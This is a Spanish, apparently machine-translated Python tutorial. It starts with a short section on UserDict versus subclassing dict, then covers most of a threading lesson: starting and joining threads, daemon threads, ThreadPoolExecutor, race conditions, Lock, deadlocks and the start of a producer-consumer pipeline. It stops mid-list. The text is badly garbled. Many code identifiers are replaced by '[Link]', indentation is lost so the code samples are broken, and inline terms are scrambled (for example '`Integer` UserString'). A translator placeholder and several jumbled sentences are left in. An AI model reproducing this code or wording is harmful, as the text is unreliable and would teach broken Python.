Hoy en día, los desarrolladores suelen preguntarse si hay alguna razón para usar
`int` UserString, UserList`std::string` y `std::string` UserDictcuando necesitan
personalizar el comportamiento de los tipos integrados. La respuesta es sí.
Los tipos integrados se diseñaron e implementaron teniendo en cuenta el principio de
abierto/cerrado . Esto significa que se pueden extender, pero no modificar. Permitir
modificaciones en las características principales de estas clases podría romper
sus invariantes . Por ello, los desarrolladores principales de Python decidieron protegerlas
de las modificaciones.
Por ejemplo, supongamos que necesita un diccionario que convierta automáticamente las
claves a minúsculas al insertarlas. Podría crear una subclase dicty sobrescribir el
método .__setitem__()para que, cada vez que inserte una clave, el diccionario
convierta el nombre de la clave a minúsculas:
>>> class LowerDict(dict):
... def __setitem__(self, key, value):
... key = [Link]()
... super().__setitem__(key, value)
...
>>> ordinals = LowerDict({"FIRST": 1, "SECOND": 2})
>>> ordinals["THIRD"] = 3
>>> [Link]({"FOURTH": 4})
>>> ordinals
{'FIRST': 1, 'SECOND': 2, 'third': 3, 'FOURTH': 4}
>>> isinstance(ordinals, dict)
True
Este diccionario funciona correctamente al insertar nuevas claves mediante asignación al
estilo diccionario con corchetes ( []). Sin embargo, no funciona al pasar un diccionario
inicial al constructor de la clase ni al usar .update(). Esto significa que sería necesario
sobreescribir .__init__(), .update()y probablemente algunos otros métodos para que
el diccionario personalizado funcione correctamente.
Ahora veamos el mismo diccionario, pero usando UserDictcomo clase base:
>>> from collections import UserDict
>>> class LowerDict(UserDict):
... def __setitem__(self, key, value):
... key = [Link]()
... super().__setitem__(key, value)
...
>>> ordinals = LowerDict({"FIRST": 1, "SECOND": 2})
>>> ordinals["THIRD"] = 3
>>> [Link]({"FOURTH": 4})
>>> ordinals
{'first': 1, 'second': 2, 'third': 3, 'fourth': 4}
>>> isinstance(ordinals, dict)
False
¡Funciona! Tu diccionario personalizado ahora convierte todas las claves nuevas a
minúsculas antes de insertarlas. Ten en cuenta que, como no heredas dictdirectamente de
la clase base, esta no devuelve instancias de la clase base dictcomo en el ejemplo anterior.
UserDictAlmacena un diccionario regular en un atributo de instancia llamado .data.
Luego, implementa todos sus métodos en torno a ese
diccionario. UserListy UserStringfuncionan de la misma manera, pero
su .dataatributo contiene un listy un strobjeto, respectivamente.
Si necesitas personalizar alguna de estas clases, solo tienes que sobrescribir los métodos
correspondientes y cambiar su funcionamiento según sea necesario.
En general, debería usar `<class>` UserDict, UserList`<class>` y
`<class>` UserStringcuando necesite una clase que actúe de forma casi idéntica a la
clase integrada subyacente envuelta y desee personalizar alguna parte de sus
funcionalidades estándar.
Otra razón para usar estas clases en lugar de las clases equivalentes integradas es acceder
al .dataatributo subyacente para manipularlo directamente.
La capacidad de heredar directamente de tipos integrados ha reemplazado en gran medida
el uso de UserDict`Integer`, UserList`Integer` y `Integer` UserString. Sin
embargo, la implementación interna de los tipos integrados dificulta heredar de ellos de
forma segura sin reescribir una cantidad significativa de código. En la mayoría de los casos,
es más seguro usar la clase apropiada de `Integer` collections. Esto evitará varios
problemas y comportamientos inesperados.
Threading: python
El uso de hilos en Python permite ejecutar diferentes partes de tu programa
simultáneamente y puede simplificar su diseño. Si tienes experiencia en Python y quieres
acelerar tu programa usando hilos, ¡este tutorial es para ti!
En este artículo aprenderás:
¿Qué hilos son?
Cómo crear hilos y esperar a que finalicen
Cómo usar unThreadPoolExecutor
Cómo evitar las condiciones de carrera
Cómo usar las herramientas comunes que threadingproporciona Python
Este artículo presupone que dominas los fundamentos de Python y que utilizas al menos la
versión 3.6 para ejecutar los ejemplos. Si necesitas repasar, puedes empezar con las Rutas
de Aprendizaje de Python para ponerte al día rápidamente.
Si no estás seguro de si quieres usar Python threading, asyncioo multiprocessing, puedes
consultar Acelera tu programa Python con concurrencia .
Todas las fuentes utilizadas en este tutorial están disponibles en el repositorio de GitHub de
Real Python .
Obtén tu código: Haz clic aquí para descargar el código de muestra gratuito que
usarás para aprender sobre subprocesos en Python.
Haz el cuestionario:Pon a prueba tus conocimientos con nuestro cuestionario interactivo
sobre "hilos en Python". Al finalizar, recibirás una puntuación que te ayudará a seguir tu
progreso de aprendizaje.
Cuestionario interactivo
Hilos en Python
Este es un cuestionario que repasará los temas tratados en nuestro
tutorial Introducción al enhebrado.
¿Qué es un hilo?
Un hilo es un flujo de ejecución independiente. Esto significa que tu programa tendrá dos
tareas ejecutándose simultáneamente. Sin embargo, en la mayoría de las implementaciones
de Python 3, los distintos hilos no se ejecutan realmente al mismo tiempo: solo lo
aparentan.
Es tentador pensar en el multihilo como si dos (o más) procesadores diferentes se
ejecutaran en tu programa, cada uno realizando una tarea independiente simultáneamente.
Esto es casi cierto. Los hilos pueden ejecutarse en procesadores diferentes, pero solo se
ejecutarán de uno en uno.
Para ejecutar varias tareas simultáneamente se requiere una implementación no estándar de
Python, escribir parte del código en un lenguaje diferente o usar multiprocessinguna
solución que conlleva una sobrecarga adicional.
Debido al funcionamiento de la implementación de Python en CPython, el uso de hilos
podría no acelerar todas las tareas. Esto se debe a las interacciones con el GIL , que
básicamente limitan la ejecución a un solo hilo de Python a la vez.
Las tareas que pasan mucho tiempo esperando eventos externos suelen ser buenas
candidatas para el uso de hilos. Los problemas que requieren un alto poder de cómputo de
la CPU y pasan poco tiempo esperando eventos externos podrían no mejorar su velocidad
de ejecución.
Esto es cierto para el código escrito en Python y ejecutado en la implementación estándar
de CPython. Si tus hilos están escritos en C, pueden liberar el GIL y ejecutarse de forma
concurrente. Si utilizas una implementación de Python diferente, consulta la documentación
para ver cómo gestiona los hilos.
Si estás utilizando una implementación estándar de Python, escribiendo solo en Python, y
tienes un problema relacionado con el uso excesivo de la CPU, deberías consultar
este multiprocessingmódulo.
Diseñar tu programa para usar subprocesos también puede mejorar la claridad del diseño.
La mayoría de los ejemplos que verás en este tutorial no necesariamente se ejecutarán más
rápido por usar subprocesos. Sin embargo, usar subprocesos ayuda a que el diseño sea más
limpio y fácil de comprender.
¡Así que dejemos de hablar de subprocesos y empecemos a usarlos!
Iniciando un hilo
Ahora que ya tienes una idea de qué es un hilo, aprendamos a crear uno. La biblioteca
estándar de Python proporciona `thread` threading, que contiene la mayoría de las
funciones básicas que verás en este artículo. ThreadEn este módulo, `thread` encapsula
los hilos de forma clara y concisa, proporcionando una interfaz sencilla para trabajar con
ellos.
Para iniciar un hilo separado, se crea una Threadinstancia y luego se le indica
que .start():
import logging
import threading
import time
def thread_function(name):
[Link]("Thread %s: starting", name)
[Link](2)
[Link]("Thread %s: finishing", name)
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
[Link]("Main : before creating thread")
x = [Link](target=thread_function, args=(1,))
[Link]("Main : before running thread")
[Link]()
[Link]("Main : wait for the thread to finish")
# [Link]()
[Link]("Main : all done")
Si examinas las instrucciones de registro , podrás ver que la mainsección crea e inicia el
hilo:
x = [Link](target=thread_function, args=(1,))
[Link]()
Al crear una función Thread, se le pasa una función y una lista con los argumentos de
dicha función. En este caso, se le indica a la función Threadque ejecute la
función thread_function()y que le pase 1los argumentos correspondientes.
En este artículo, usarás números enteros secuenciales como nombres para tus hilos. Existe
la función `get_thread()` threading.get_ident(), que devuelve un nombre único
para cada hilo, pero estos nombres suelen ser largos y poco legibles.
thread_function()En sí mismo no hace mucho. Simplemente registra algunos
mensajes con un [Link]()espacio entre ellos.
Al ejecutar este programa tal cual (con la línea veinte comentada), el resultado será similar
a este:
$ ./single_thread.py
Main : before creating thread
Main : before running thread
Thread 1: starting
Main : wait for the thread to finish
Main : all done
Thread 1: finishing
Notarás que la Threadfunción finalizó después de que lo Mainhiciera esa sección de tu
código. En la siguiente sección veremos por qué sucede esto y hablaremos de la misteriosa
línea veinte.
Hilos demoníacos
En informática, un daemonproceso es un proceso que se ejecuta en segundo plano.
Python threadingtiene un significado más específico para ` thread` daemon.
Un daemonhilo se cierra inmediatamente cuando finaliza el programa. Una forma de
entender estas definiciones es considerar el daemonhilo como un proceso que se ejecuta
en segundo plano sin preocuparse por su cierre.
Si un programa está en ejecución Threadsy no son daemonsprocesos demonio,
esperará a que esos hilos finalicen antes de terminar. Sin
embargo, Threadslos procesos demonio se terminan inmediatamente al finalizar el
programa.
Analicemos con más detalle la salida del programa anterior. Las dos últimas líneas son las
más interesantes. Al ejecutar el programa, observará una pausa (de aproximadamente 2
segundos) después de que __main__se haya impreso el all donemensaje y antes de
que finalice el hilo.
Esta pausa se debe a que Python está esperando a que finalice el hilo no demonio. Cuando
finaliza el programa Python, parte del proceso de cierre consiste en limpiar la rutina de
hilos.
Si examinas el código fuente de Pythonthreading , verás
que threading._shutdown()recorre todos los hilos en ejecución y realiza
llamadas .join()en cada uno que no tenga la daemonbandera establecida.
Tu programa espera para finalizar porque el hilo está en estado de espera. En cuanto
termine y muestre el mensaje, .join()devolverá el control y el programa podrá finalizar.
Con frecuencia, este comportamiento es el deseado, pero existen otras opciones. Primero,
repitamos el programa con un daemonhilo. Esto se logra modificando la forma de
construir el objeto Thread, añadiendo el daemon=Truesiguiente indicador:
x = [Link](target=thread_function, args=(1,), daemon=True)
Al ejecutar el programa ahora, debería ver este resultado:
$ ./daemon_thread.py
Main : before creating thread
Main : before running thread
Thread 1: starting
Main : wait for the thread to finish
Main : all done
La diferencia radica en que falta la última línea de la salida. thread_function()No
tuvo oportunidad de completarse. Era un daemonhilo, por lo que, al __main__llegar
al final de su código y querer finalizar el programa, el demonio fue interrumpido.
join()un hilo
Los hilos demonio son útiles, pero ¿qué ocurre cuando quieres esperar a que un hilo
termine? ¿Y cuando quieres hacerlo sin salir del programa? Volvamos ahora al programa
original y observemos la línea veinte comentada:
# [Link]()
Para indicar a un hilo que espere a que otro termine, se llama a ` .join(). Si se descomenta
esa línea, el hilo principal se pausará y esperará a que el hilo xtermine de ejecutarse.
¿Probaste esto con el hilo demonio o con el hilo normal? Resulta que da igual. Si
usas .join()un hilo demonio, esa instrucción esperará a que termine, independientemente
del tipo de hilo.
Trabajar con muchos hilos
Hasta ahora, el código de ejemplo solo ha funcionado con dos hilos: el hilo principal y uno
que usted inició con el [Link].
Con frecuencia, querrás iniciar varios hilos de conversación y que realicen tareas
interesantes. Comencemos viendo la forma más compleja de hacerlo, y luego pasaremos a
un método más sencillo.
La forma más difícil de iniciar múltiples hilos es la que ya conoces:
import logging
import threading
import time
def thread_function(name):
[Link]("Thread %s: starting", name)
[Link](2)
[Link]("Thread %s: finishing", name)
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
threads = list()
for index in range(3):
[Link]("Main : create and start thread %d.", index)
x = [Link](target=thread_function, args=(index,))
[Link](x)
[Link]()
for index, thread in enumerate(threads):
[Link]("Main : before joining thread %d.", index)
[Link]()
[Link]("Main : thread %d done", index)
Este código utiliza el mismo mecanismo que viste anteriormente para iniciar un hilo, crear
un Threadobjeto y luego llamar a la función .start(). El programa mantiene una lista
de Threadobjetos para poder esperarlos más tarde utilizando la función .join().
Al ejecutar este código varias veces, es probable que se obtengan resultados interesantes.
Aquí tienes un ejemplo de la salida en mi máquina:
$ ./multiple_threads.py
Main : create and start thread 0.
Thread 0: starting
Main : create and start thread 1.
Thread 1: starting
Main : create and start thread 2.
Thread 2: starting
Main : before joining thread 0.
Thread 2: finishing
Thread 1: finishing
Thread 0: finishing
Main : thread 0 done
Main : before joining thread 1.
Main : thread 1 done
Main : before joining thread 2.
Main : thread 2 done
Si examinas detenidamente la salida, verás que los tres hilos se inician en el orden
esperado, ¡pero en este caso finalizan en el orden inverso! Si se ejecutan varias veces, el
orden será diferente. Busca el Thread x: finishingmensaje que te indica cuándo
termina cada hilo.
El orden de ejecución de los hilos lo determina el sistema operativo y puede ser bastante
difícil de predecir. Puede variar (y probablemente lo hará) de una ejecución a otra, por lo
que debe tenerse en cuenta al diseñar algoritmos que utilicen hilos.
Afortunadamente, Python ofrece varias funciones básicas que veremos más adelante para
coordinar hilos y ejecutarlos simultáneamente. Antes de eso, veamos cómo simplificar la
gestión de un grupo de hilos.
Utilizando un ThreadPoolExecutor
Existe una forma más sencilla de iniciar un grupo de hilos que la que viste anteriormente.
Se llama `thread` ThreadPoolExecutory forma parte de la biblioteca estándar de
Python [Link](a partir de Python 3.2).
La forma más sencilla de crearlo es como un administrador de contexto, utilizando
la withinstrucción para gestionar la creación y destrucción del grupo.
Aquí está el __main__último ejemplo reescrito para usar
un ThreadPoolExecutor:
import [Link]
# [rest of code]
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
with [Link](max_workers=3) as executor:
[Link](thread_function, range(3))
El código crea un ThreadPoolExecutorgestor de contexto, indicándole cuántos
hilos de trabajo desea en el grupo. Luego, lo utiliza .map()para recorrer un iterable de
elementos, en este caso range(3), asignando cada uno a un hilo del grupo.
El final del withbloque provoca que ThreadPoolExecutorse ejecute una
operación .join()en cada uno de los hilos del grupo. Se
recomienda encarecidamente usar ThreadPoolExecutorun gestor de contexto
siempre que sea posible para no olvidar nunca finalizar .join()los hilos.
Nota: El uso de "a" ThreadPoolExecutorpuede causar algunos errores confusos.
Por ejemplo, si llamas a una función que no toma parámetros, pero le pasas parámetros
en .map(), el hilo generará una excepción.
Lamentablemente, ThreadPoolExecutoresto ocultará la excepción y (en el caso
anterior) el programa finalizará sin mostrar ningún resultado. Al principio, depurar esto
puede resultar bastante confuso.
Al ejecutar el código de ejemplo corregido, se obtendrá un resultado similar a este:
$ ./[Link]
Thread 0: starting
Thread 1: starting
Thread 2: starting
Thread 1: finishing
Thread 0: finishing
Thread 2: finishing
De nuevo, fíjese en lo mucho que Thread 1se termina antes Thread 0. La
planificación de los hilos la realiza el sistema operativo y no sigue un plan fácil de
descifrar.
Condiciones de carrera
Antes de pasar a algunas de las otras características ocultas en Python threading,
hablemos un poco sobre uno de los problemas más difíciles con los que te encontrarás al
escribir programas con subprocesos: las condiciones de carrera .
Una vez que hayas visto qué es una condición de carrera y hayas observado cómo se
produce una, pasarás a estudiar algunas de las funciones básicas que proporciona la
biblioteca estándar para evitar que se produzcan condiciones de carrera.
Las condiciones de carrera pueden ocurrir cuando dos o más hilos acceden a un dato o
recurso compartido. En este ejemplo, crearemos una condición de carrera importante que se
produce siempre, pero tenga en cuenta que la mayoría de las condiciones de carrera no son
tan evidentes. Con frecuencia, ocurren solo ocasionalmente y pueden generar resultados
confusos. Como puede imaginar, esto dificulta bastante su depuración.
Afortunadamente, esta condición de carrera se producirá siempre, y la analizaremos en
detalle para explicar lo que está sucediendo.
En este ejemplo, vas a escribir una clase que actualiza una base de datos. Bueno, en
realidad no vas a tener una base de datos real: solo la vas a simular, porque ese no es el
objetivo de este artículo.
Tu FakeDatabasevoluntad .__init__()y .update()tus métodos:
class FakeDatabase:
def __init__(self):
[Link] = 0
def update(self, name):
[Link]("Thread %s: starting update", name)
local_copy = [Link]
local_copy += 1
[Link](0.1)
[Link] = local_copy
[Link]("Thread %s: finishing update", name)
FakeDatabaseSe está haciendo un seguimiento de un solo número: .value. Estos
serán los datos compartidos en los que se observará la condición de carrera.
.__init__()Simplemente se inicializa .valuea cero. Hasta ahora, todo bien.
.update()Parece un poco extraño. Simula leer un valor de una base de datos, realizar
algún cálculo con él y luego escribir un nuevo valor de vuelta en la base de datos.
En este caso, leer de la base de datos simplemente significa copiar .valuea una variable
local. El cálculo consiste en sumar uno al valor y luego .sleep()realizar una operación de
retardo. Finalmente, se guarda el valor copiando el valor local de vuelta a la
variable .value.
Así es como lo usarás FakeDatabase:
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
database = FakeDatabase()
[Link]("Testing update. Starting value is %d.", [Link])
with [Link](max_workers=2) as executor:
for index in range(2):
[Link]([Link], index)
[Link]("Testing update. Ending value is %d.", [Link])
El programa crea un objeto ThreadPoolExecutorcon dos hilos y luego
llama .submit()a cada uno de ellos, diciéndoles que se
ejecuten [Link]().
.submit()Tiene una firma que permite pasar argumentos tanto posicionales como con
nombre a la función que se ejecuta en el hilo:
.submit(function, *args, **kwargs)
En el uso anterior, indexse pasa como primer y único argumento posicional
a [Link](). Más adelante en este artículo verá cómo pasar varios
argumentos de forma similar.
Dado que cada hilo se ejecuta .update()y .update()suma uno a .value, cabría
esperar [Link] 2al imprimirse al final fuera . Pero si ese fuera el caso,
no estarías viendo este ejemplo. Si ejecutas el código anterior, la salida se ve así:
$ ./[Link]
Testing unlocked update. Starting value is 0.
Thread 0: starting update
Thread 1: starting update
Thread 0: finishing update
Thread 1: finishing update
Testing unlocked update. Ending value is 1.
Quizás ya lo esperabas, pero analicemos los detalles de lo que realmente está sucediendo,
ya que eso facilitará la comprensión de la solución a este problema.
Un hilo
Antes de adentrarnos en este tema con dos hilos, retrocedamos un poco y hablemos sobre
algunos detalles de cómo funcionan los hilos.
Aquí no entraremos en todos los detalles, ya que no son importantes a este nivel. También
simplificaremos algunas cosas, lo que no será técnicamente preciso, pero les dará una idea
general de lo que sucede.
Cuando le indicas a tu programa ThreadPoolExecutorque ejecute cada hilo, le
indicas qué función ejecutar y qué parámetros
pasarle: [Link]([Link], index).
Como resultado, cada uno de los hilos del grupo llamará
a [Link](index). Nótese que databasees una referencia
al FakeDatabaseobjeto creado en __main__. Llamar .update()a en ese objeto
invoca un método de instancia del mismo.
Cada hilo tendrá una referencia al mismo FakeDatabaseobjeto database. Cada
hilo también tendrá un valor único indexpara facilitar la lectura de los registros.
Cuando un hilo comienza a ejecutarse .update(), dispone de su propia versión de todos
los datos locales a la función. En este caso .update(), se trata de local_copy`data`.
Esto es sin duda una ventaja. De lo contrario, dos hilos ejecutando la misma función
entrarían en conflicto. Significa que todas las variables con ámbito (o locales) a una función
son seguras para hilos .
Ahora puedes empezar a analizar qué sucede si ejecutas el programa anterior con un solo
hilo y una sola llamada a .update().
La imagen a continuación muestra paso a paso la ejecución .update()si solo se ejecuta
un único hilo. La instrucción se muestra a la izquierda, seguida de un diagrama que muestra
los valores en el hilo local_copyy en el recurso compartido [Link].
El diagrama está diseñado de forma que el tiempo aumenta a medida que se avanza de
arriba abajo. Comienza cuando Thread 1se crea y termina cuando se finaliza.
Al Thread 1inicio, [Link] valor de es cero. La primera línea de
código del método, local_copy = [Link], copia el valor cero a la variable
local. A continuación, incrementa el valor de local_copycon la local_copy +=
1instrucción . Se puede observar .valueque Thread 1pasa a tener el valor de uno.
Se llama a `next` [Link](), lo que pausa el hilo actual y permite que se ejecuten
otros hilos. Dado que en este ejemplo solo hay un hilo, esto no tiene ningún efecto.
Cuando Thread 1se activa y continúa, copia el nuevo valor
de local_copya [Link], y entonces el hilo finaliza. Puedes ver
que [Link] establece en uno.
Hasta ahora, todo bien. Ejecutaste .update()una vez y [Link]
incrementó a uno.
Dos hilos
Volviendo a la condición de carrera, los dos hilos se ejecutarán de forma concurrente, pero
no simultáneamente. Cada uno tendrá su propia versión de local_copyla misma y
apuntará a ella database. Este databaseobjeto compartido es el que causará los
problemas.
El programa comienza con Thread 1la ejecución .update():
Cuando Thread 1se realiza la llamada [Link](), permite que el otro hilo
comience a ejecutarse. Aquí es donde la cosa se pone interesante.
Thread 2Se inicia y realiza las mismas operaciones. También está
copiando [Link] su directorio privado local_copy, y este directorio
compartido [Link]ún no se ha actualizado.
Cuando Thread 2finalmente entra en modo de sueño, la variable
compartida [Link] sin modificar en cero, y ambas versiones
privadas local_copytienen el valor uno.
Thread 1Ahora se activa, guarda su versión local_copyy finaliza, dando Thread
2una última oportunidad para ejecutarse. Thread 2No tiene conocimiento de
que Thread 1se ejecutó y actualizó [Link] estaba en reposo.
Almacena su versión local_copyen [Link], estableciéndola también en
uno:
Los dos hilos acceden de forma intercalada a un único objeto compartido, sobrescribiendo
los resultados del otro. Pueden surgir condiciones de carrera similares cuando un hilo libera
memoria o cierra un descriptor de archivo antes de que el otro hilo haya terminado de
acceder a él.
Por qué este no es un ejemplo tonto
El ejemplo anterior está diseñado para asegurar que la condición de carrera se produzca
cada vez que se ejecuta el programa. Dado que el sistema operativo puede cambiar de hilo
en cualquier momento, es posible interrumpir una instrucción x = x + 1después de que
haya leído el valor de xuna variable, pero antes de que haya escrito el valor incrementado.
Los detalles de cómo sucede esto son bastante interesantes, pero no son necesarios para el
resto de este artículo, así que siéntase libre de omitir esta sección oculta.
Ahora que has visto una condición de carrera en acción, ¡vamos a descubrir cómo
resolverlas!
Sincronización básica mediante Lock
Existen varias maneras de evitar o solucionar las condiciones de carrera. No las veremos
todas aquí, pero hay un par que se utilizan con frecuencia. Empecemos con Lock...
Para solucionar la condición de carrera anterior, necesitas encontrar una manera de permitir
que solo un hilo a la vez acceda a la sección de lectura-modificación-escritura de tu código.
La forma más común de hacerlo Locken Python es mediante `mutex`. En otros lenguajes,
esta misma idea se conoce como `mutex` mutex. `mutex` proviene de Exclusión Mutua,
que es precisamente lo que Lockhace un `mutex`.
A Lockes un objeto que funciona como un permiso especial. Solo un hilo a la vez puede
tenerlo Lock. Cualquier otro hilo que lo necesite Lockdebe esperar a que su propietario
lo Locklibere.
Las funciones básicas para esto son `[Link]` .acquire()y `[Link]` .release().
Un hilo llamará my_lock.acquire()a `[Link]` para obtener el bloqueo. Si el
bloqueo ya está en uso, el hilo que realiza la llamada esperará hasta que se libere. Es
importante tener en cuenta lo siguiente: si un hilo obtiene el bloqueo pero nunca lo libera,
el programa se bloqueará. Más adelante se explicará esto con mayor detalle.
Afortunadamente, Python Locktambién funciona como un administrador de contexto, por
lo que puedes usarlo en una withinstrucción y se libera automáticamente cuando
el withbloque finaliza por cualquier motivo.
Veamos el caso FakeDatabasecon un Lockañadido. La función que la llama sigue
siendo la misma:
class FakeDatabase:
def __init__(self):
[Link] = 0
self._lock = [Link]()
def locked_update(self, name):
[Link]("Thread %s: starting update", name)
[Link]("Thread %s about to lock", name)
with self._lock:
[Link]("Thread %s has lock", name)
local_copy = [Link]
local_copy += 1
[Link](0.1)
[Link] = local_copy
[Link]("Thread %s about to release lock", name)
[Link]("Thread %s after release", name)
[Link]("Thread %s: finishing update", name)
Además de añadir numerosos registros de depuración para que puedas ver el bloqueo con
mayor claridad, el cambio principal consiste en añadir un miembro llamado
`Block` ._lock, que es un [Link]()objeto. Este ._lockse inicializa en
estado desbloqueado y se bloquea y libera mediante la withinstrucción `lock`.
Cabe destacar que el hilo que ejecuta esta función mantendrá el valor en espera Lockhasta
que finalice la actualización de la base de datos. En este caso, esto significa que lo
mantendrá en espera Lockmientras copia, actualiza, espera y, finalmente, escribe el valor
de nuevo en la base de datos.
Si ejecutas esta versión con el registro configurado en nivel de advertencia, verás lo
siguiente:
$ ./[Link]
Testing locked update. Starting value is 0.
Thread 0: starting update
Thread 1: starting update
Thread 0: finishing update
Thread 1: finishing update
Testing locked update. Ending value is 2.
¡Mira eso! ¡Tu programa por fin funciona!
Puedes activar el registro completo configurando el nivel DEBUGañadiendo esta
instrucción después de configurar la salida de registro en __main__:
[Link]().setLevel([Link])
Al ejecutar este programa con DEBUGel registro de eventos activado, se ve así:
$ ./[Link]
Testing locked update. Starting value is 0.
Thread 0: starting update
Thread 0 about to lock
Thread 0 has lock
Thread 1: starting update
Thread 1 about to lock
Thread 0 about to release lock
Thread 0 after release
Thread 0: finishing update
Thread 1 has lock
Thread 1 about to release lock
Thread 1 after release
Thread 1: finishing update
Testing locked update. Ending value is 2.
En esta salida se puede ver Thread 0que adquiere el bloqueo y lo mantiene cuando
entra en modo de suspensión. Thread 1Luego, se inicia e intenta adquirir el mismo
bloqueo. Dado Thread 0que aún lo mantiene, Thread 1tiene que esperar. Esta es la
exclusión mutua que Lockproporciona un bloque A.
Muchos de los ejemplos del resto de este artículo tendrán registro de eventos de nivel
1 WARNINGy DEBUG2. Generalmente solo mostraremos la WARNINGsalida de
nivel 1, ya que los DEBUGregistros pueden ser bastante extensos. Pruebe los programas
con el registro de eventos activado y observe su comportamiento.
Punto muerto
Antes de continuar, conviene que examines un problema común al usar ` Locks. Como
viste, si ` Lockya se ha adquirido`, una segunda llamada a ` .acquire()esperará hasta
que finalice el hilo que está gestionando las Lockllamadas .release(). ¿Qué crees que
ocurre al ejecutar este código?
import threading
l = [Link]()
print("before first acquire")
[Link]()
print("before second acquire")
[Link]()
print("acquired lock twice")
Cuando el programa realiza [Link]()la segunda llamada, se bloquea esperando
a Lockque se libere la llamada. En este ejemplo, se puede solucionar el interbloqueo
eliminando la segunda llamada, pero los interbloqueos suelen producirse por uno de dos
motivos sutiles:
1. Un error de implementación donde a Lockno se libera correctamente
2. Un problema de diseño donde una función de utilidad necesita ser
llamada por funciones que podrían o no tener ya laLock
La primera situación ocurre a veces, pero usar un Lockgestor de contexto reduce
considerablemente su frecuencia. Se recomienda escribir código siempre que sea posible
utilizando gestores de contexto, ya que ayudan a evitar situaciones en las que una
excepción omite la .release()llamada.
El diseño puede resultar algo más complejo en algunos lenguajes. Afortunadamente, el
sistema de hilos de Python cuenta con un segundo objeto, llamado `thread` RLock,
diseñado precisamente para esta situación. Permite que un hilo ejecute
`thread` .acquire()varias RLockveces antes de llamar a `thread` .release(). Aun
así, el hilo debe llamar a `thread` .release()el mismo número de veces que a
`thread` .acquire(), pero esto ya debería estar haciéndolo.
Locky RLockson dos de las herramientas básicas que se utilizan en la programación
multihilo para prevenir condiciones de carrera. Existen algunas otras que funcionan de
maneras diferentes. Antes de analizarlas, pasemos a un ámbito de problemas ligeramente
distinto.
Hilos productor-consumidor
El problema productor-consumidor es un problema clásico de informática que se utiliza
para analizar problemas de subprocesos o sincronización de procesos. Analizaremos una
variante para comprender mejor las primitivas que threadingproporciona el módulo de
Python.
En este ejemplo, imagine un programa que necesita leer mensajes de una red y escribirlos
en el disco. El programa no solicita mensajes cuando lo desea; debe estar a la escucha y
aceptarlos a medida que llegan. Los mensajes no llegarán a un ritmo regular, sino en
ráfagas. Esta parte del programa se denomina productor.
Por otro lado, una vez que se recibe un mensaje, es necesario escribirlo en una base de
datos. El acceso a la base de datos es lento, pero lo suficientemente rápido para mantener el
ritmo promedio de los mensajes. Sin embargo, no es lo suficientemente rápido para
procesar una avalancha de mensajes. Esta parte es el consumidor.
Entre el productor y el consumidor, crearás una Pipelineparte que cambiará a medida
que aprendas sobre los diferentes objetos de sincronización.
Esa es la estructura básica. Veamos una solución usando [nombre de la
herramienta/biblioteca] Lock. No funciona a la perfección, pero utiliza herramientas que
ya conoces, así que es un buen punto de partida.
Uso de la relación productor-consumidor Lock
Dado que este es un artículo sobre Python threading, y dado que acabas de leer sobre
el Locktipo primitivo, intentemos resolver este problema con dos hilos usando `a` Locko
`two`.
El diseño general consiste en que hay un producerhilo que lee de la red falsa y coloca el
mensaje en un Pipeline:
import random
SENTINEL = object()
def producer(pipeline):
"""Pretend we're getting a message from the network."""
for index in range(10):
message = [Link](1, 101)
[Link]("Producer got message: %s", message)
pipeline.set_message(message, "Producer")
# Send a sentinel message to tell consumer we're done
pipeline.set_message(SENTINEL, "Producer")
Para generar un mensaje falso, se producerobtiene un número aleatorio entre uno y
cien. Se llama .set_message()al sistema pipelinepara que lo envíe al
servidor consumer.
También producerutiliza un SENTINELvalor para indicar al consumidor que se
detenga después de haber enviado diez valores. Esto resulta un poco engorroso, pero no te
preocupes, verás cómo eliminar este SENTINELvalor después de analizar este ejemplo.
Al otro lado pipelineestá el consumidor:
def consumer(pipeline):
"""Pretend we're saving a number in the database."""
message = 0
while message is not SENTINEL:
message = pipeline.get_message("Consumer")
if message is not SENTINEL:
[Link]("Consumer storing message: %s", message)
La consumerfunción lee un mensaje pipeliney lo escribe en una base de datos
ficticia, que en este caso simplemente lo imprime en la pantalla. Si obtiene
el SENTINELvalor, la función finaliza el hilo.
Antes de que veas la parte realmente interesante, Pipelineaquí está
la __main__sección que da origen a estos hilos:
if __name__ == "__main__":
format = "%(asctime)s: %(message)s"
[Link](format=format, level=[Link],
datefmt="%H:%M:%S")
# [Link]().setLevel([Link])
pipeline = Pipeline()
with [Link](max_workers=2) as executor:
[Link](producer, pipeline)
[Link](consumer, pipeline)
Esto debería resultarles bastante familiar, ya que es similar al __main__código de los
ejemplos anteriores.
Recuerda que puedes activar DEBUGel registro para ver todos los mensajes de registro
descomentando esta línea:
# [Link]().setLevel([Link])
Puede resultar útil revisar los DEBUGmensajes de registro para ver exactamente dónde
cada hilo adquiere y libera los bloqueos.
Ahora echemos un vistazo al Pipelineque pasa mensajes desde
el produceral consumer:
class Pipeline:
"""
Class to allow a single element pipeline between producer and consumer.
"""
def __init__(self):
[Link] = 0
self.producer_lock = [Link]()
self.consumer_lock = [Link]()
self.consumer_lock.acquire()
def get_message(self, name):
[Link]("%s:about to acquire getlock", name)
self.consumer_lock.acquire()
[Link]("%s:have getlock", name)
message = [Link]
[Link]("%s:about to release setlock", name)
self.producer_lock.release()
[Link]("%s:setlock released", name)
return message
def set_message(self, message, name):
[Link]("%s:about to acquire setlock", name)
self.producer_lock.acquire()
[Link]("%s:have setlock", name)
[Link] = message
[Link]("%s:about to release getlock", name)
self.consumer_lock.release()
[Link]("%s:getlock released", name)
¡Guau! ¡Menudo código! Un porcentaje bastante alto son simplemente registros para que
sea más fácil ver qué ocurre al ejecutarlo. Aquí tienes el mismo código sin los registros:
class Pipeline:
"""
Class to allow a single element pipeline between producer and consumer.
"""
def __init__(self):
[Link] = 0
self.producer_lock = [Link]()
self.consumer_lock = [Link]()
self.consumer_lock.acquire()
def get_message(self, name):
self.consumer_lock.acquire()
message = [Link]
self.producer_lock.release()
return message
def set_message(self, message, name):
self.producer_lock.acquire()
[Link] = message
self.consumer_lock.release()
Eso parece un poco más manejable. PipelineEn esta versión de tu código, el elemento
tiene tres miembros:
1. .messageAlmacena el mensaje que se va a transmitir.
